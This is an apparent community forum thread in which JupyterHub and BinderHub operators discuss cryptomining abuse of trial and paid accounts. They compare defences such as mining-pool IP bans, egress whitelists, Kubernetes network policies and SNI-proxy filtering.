I’m starting to get users who create trial account, and then use them to mine bitcoin using webchain.network. Some users are actually signing up with a credit card, and using that credit card to procure GPU instances for webchain.network bitcoin mining. Have any of y’all dealt with anything like this? I’ve been shutting down the paid accounts because I’m assuming the credit cards are stolen.
There are no real security breeches here - just undesirable user activity…
For mybinder.org we ban IP addresses and hostnames for mining pools we discover. This seems to keep miners away. The small amount of compute we give people also helps.
Once in a while (mostly when mybinder.org hits the front page of HN) someone will try and mine coins but they tend to be easy to spot because you suddenly have 50 pods all pegging their CPU with the same name.
Thanks - in my case the IP address of the pool is actually an EC2 address in us-east-1. I’ve reported it to AWS. I was a bit worried that merely banning it would just result in them setting up additional elastic IPs but it seems like maybe that’s not worth it to them.
For anyone whose interested - this is the offending command.
Yea - I was wondering about that. In my case blocking a specific set of known pools isn’t useful, because my attacker can (and did) move to another IP. They are operating their own pool. However after blocking the second one I haven’t had any issues. My attacks are somewhat infrequent, every hour or so in the evenings, so it’s too soon to say whether or not they are done.
If my strategy does not work I’ll fall back on whitelisting IPs and adding IPs to the whitelist as users request them
I would strongly recommend using a DNS-based whitelist for egress traffic, and making it easy for folks to request additions to the whitelist, especially if you are providing compute that’s worth exploiting to users that aren’t paying. Blacklists are always going to be whack-a-mole, and mybinder.org is mainly saved by the fact that we don’t offer enough compute to be worth any effort to abuse.
Well that’s also true for us - we don’t offer enough compute to be worth it - until you start paying for more compute with a credit card (though I didn’t think about stolen cards before this)
I’m starting this now - the work will be open, if anyone wants to collaborate I can put it up when it’s in reasonable shape.
This is what I’m looking at right now - if anyone has any tips, please let me know
AWS - https://ip-ranges.amazonaws.com/ip-ranges.json. separates ip ranges by service
GCP - not straightfoward - you can get IP range of all services, but you cannot isolate cloud storage from GCE
Azure - not straightfoward - you can get IP range of all services, but you cannot isolate cloud storage from GCE
Ubuntu/Debian updates - maybe need to do something based on dns lookups?
pypi - maybe need to do something based on dns lookups?
anaconda/conda-forge - cloudflare ip ranges, easy
I wonder if this would be useful as a “preventing abuse” page in the binderhub or jupyterhub documentation. I think there are a lotta people out there exposed to this potential downside (whether they know it or not). I bet a lot of the shared facilities / research institution folks would be interested too.
One thing I’ve thought about in the past was filtering traffic using a proxy such as squid. The idea would be to have a small whitelist of IPs that would allow direct connections, and a larger whitelist of domains which are only accessible by setting squid as a http-proxy. This would be particularly valuable for websites on shared hosts, or anything on a CDN.
I never got round to implementing it, and since then https has become standard for most websites so I’m not sure if it’s still practical.
You could setup things so that all outgoing HTTPS traffic has to go via proxy like https://github.com/dlundquist/sniproxy. Which is operated with a white list of allowed hosts or patterns of hosts. Yuvi did something like this for a public hub last summer.
This was enough. The NetworkPolicy turns off any external network access, regardless of DNS resolution. The /etc/hosts entries rewrite DNS without the extra effort of patching DNS, and the SNI Proxy figures out where to send traffic without having to do expensive & shady MITM attacks.
The problems with this are:
You’ll have to scale SNIProxy. It’s pretty horizontally scalable, so shouldn’t be too much of a problem
Thanks Yuvi! I think this is probably a best practice, and one that deserves more prominence in docs. Should we have some example config people can use to have a more locked-down starting point?
@yuvipanda, thanks! Am I correct that a viable alternative would be to periodically update ip based whitelists in a kubernetes network policy? This has obvious disadvantages but would seem to work ok with ESNI?
Sortof. Depends on how quickly you update IP ranges, and whose IP ranges they are. If they are a cloud provider’s, they are going to quickly become proxies…
IPv6 also confuses this quite a bit.
I think for today, ESNI isn’t widespread enough for this to be a problem. In the future, fighting this kinda cryptojacking is an open question.
